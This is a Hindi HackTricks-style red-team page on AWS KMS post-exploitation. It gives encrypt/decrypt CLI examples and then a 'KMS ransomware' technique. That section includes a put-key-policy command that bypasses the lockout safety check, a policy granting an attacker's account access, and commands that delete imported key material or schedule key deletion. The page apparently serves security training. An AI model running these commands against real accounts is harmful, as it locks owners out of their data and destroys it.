AWS - KMS पोस्ट एक्सप्लॉइटेशन

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

KMS

अधिक जानकारी के लिए देखें:

AWS - KMS Enum

जानकारी एन्क्रिप्ट/डिक्रिप्ट करें

fileb:// और file:// AWS CLI कमांड में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग किए जाने वाले URI स्कीम हैं:

  • fileb://: फ़ाइल को बाइनरी मोड में पढ़ता है, जो आमतौर पर गैर-टेक्स्ट फ़ाइलों के लिए उपयोग किया जाता है।
  • file://: फ़ाइल को टेक्स्ट मोड में पढ़ता है, जो आमतौर पर साधारण टेक्स्ट फ़ाइलों, स्क्रिप्ट, या JSON के लिए उपयोग किया जाता है जिसमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होती हैं।

tip

ध्यान दें कि यदि आप किसी फ़ाइल के अंदर कुछ डेटा को डिक्रिप्ट करना चाहते हैं, तो फ़ाइल में बाइनरी डेटा होना चाहिए, न कि base64 एन्कोडेड डेटा। (fileb://)

  • एक संपूर्ण कुंजी का उपयोग करना
bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • एक asymmetric कुंजी का उपयोग करना:
bash
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

एक हमलावर जिसके पास KMS पर विशेषाधिकार प्राप्त पहुंच है, वह कुंजियों की KMS नीति को संशोधित कर सकता है और अपने खाते को उन पर पहुंच प्रदान कर सकता है, वैध खाते को दी गई पहुंच को हटा सकता है।

फिर, वैध खाते के उपयोगकर्ता उन कुंजियों के साथ एन्क्रिप्ट की गई किसी भी सेवा की कोई जानकारी तक पहुंच नहीं प्राप्त कर पाएंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैंसमवेयर बन जाएगा।

warning

ध्यान दें कि AWS प्रबंधित कुंजियाँ इस हमले से प्रभावित नहीं हैं, केवल ग्राहक प्रबंधित कुंजियाँ

यह भी ध्यान दें कि पैरामीटर --bypass-policy-lockout-safety-check का उपयोग करने की आवश्यकता है (वेब कंसोल में इस विकल्प की कमी इस हमले को केवल CLI से संभव बनाती है)।

bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

caution

ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को एक्सेस देते हैं, और फिर इस बाहरी खाते से आप एक नई नीति सेट करने की कोशिश करते हैं जिससे मूल खाते को एक्सेस वापस दिया जा सके, तो आप ऐसा नहीं कर पाएंगे क्योंकि Put Policy क्रिया क्रॉस खाते से नहीं की जा सकती

Generic KMS Ransomware

Global KMS Ransomware

एक वैश्विक KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित चरण शामिल होंगे:

  • एक नया की बनाएं जिसमें हमलावर द्वारा आयातित की सामग्री हो
  • पुराने डेटा को फिर से एन्क्रिप्ट करें जो पिछले संस्करण के साथ एन्क्रिप्ट किया गया था, नए के साथ।
  • KMS की को हटाएं
  • अब केवल हमलावर, जिसके पास मूल की सामग्री है, एन्क्रिप्टेड डेटा को डिक्रिप्ट कर सकेगा

Destroy keys

bash
# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

caution

ध्यान दें कि AWS अब पिछले कार्यों को क्रॉस अकाउंट से किए जाने से रोकता है:

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें